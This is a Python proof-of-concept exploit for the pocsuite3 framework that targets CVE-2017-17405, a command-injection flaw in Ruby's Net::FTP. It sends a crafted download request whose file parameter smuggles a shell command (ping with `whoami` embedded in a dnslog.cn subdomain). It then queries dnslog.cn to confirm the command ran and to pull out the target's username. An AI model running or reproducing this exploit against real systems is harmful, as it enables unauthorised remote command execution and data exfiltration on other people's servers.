#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
# from pocsuite.api.request import req #用法和 requests 完全相同
# from pocsuite.api.poc import register
# from pocsuite.api.poc import Output, POCBase
import requests as req
from pocsuite3.api import POCBase, Output, register_poc as register

headers1 = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3970.5 Safari/537.36',
    'Host': 'www.dnslog.cn',
    'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
    'Accept': '*/*',
    'Referer': 'http://www.dnslog.cn/',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close'}


def get_dns():
    url1 = "http://www.dnslog.cn/getdomain.php?t=0.08025501698741366"
    dns_url = req.get(url1, verify=False, timeout=5, headers=headers1).text
    return dns_url


def show_dns():
    url2 = "http://www.dnslog.cn/getrecords.php?t=0.913020034617231"
    dns_text = req.get(url2, verify=False, timeout=5, headers=headers1).text
    return dns_text


def poc(url):
    ip = re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", url)
    if not url.startswith("http"):
        url = "http://" + url
    try:
        dns = get_dns()
        payload = url + "/download?uri=ftp://" + ip[0] + ":2121/&file=|ping${IFS}`whoami`." + dns + "${IFS}-c${IFS}4"
        res = req.get(payload, verify=False, timeout=5)
    except Exception:
        res = ""
    return res


class TestPOC(POCBase):
    name = 'ruby_ftp_RCE_CVE-2017-17405'
    vulID = 'CVE-2017-17405'  # https://www.seebug.org/vuldb/ssvid-96996
    author = ['sxd']
    vulType = 'RCE'  # 远程代码执行漏洞
    version = '1.0'  # default version: 1.0
    references = ['']
    desc = '''
		   Ruby Net::FTP 模块是一个FTP客户端，在上传和下载文件的过程中，打开本地文件时使用了`open`函数。
		   而在ruby中，`open`函数是借用系统命令来打开文件，且没用过滤shell字符，导致在用户控制文件名的情况下，将可以注入任意命令。
		   '''
    vulDate = '2020-03-25'
    createDate = '2020-03-25'
    updateDate = '2020-03-25'
    appName = 'ruby'
    appVersion = '2.2.8、2.3.5、2.4.2、2.5.0'
    appPowerLink = ''  # 漏洞厂商主页地址
    samples = ['']  # 测试用例
    install_requires = ["re"]

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        response = poc(self.url)
        shwo_dns_text = show_dns()
        if ".dnslog.cn" in shwo_dns_text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + 'ruby_ftp_RCE_CVE-2017-17405' + ' is exist!'
            result['AdminInfo'] = {}
            result['AdminInfo']['Username'] = re.compile("\w+.\w*.dnslog").findall(shwo_dns_text)[0].split(".")[0]
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
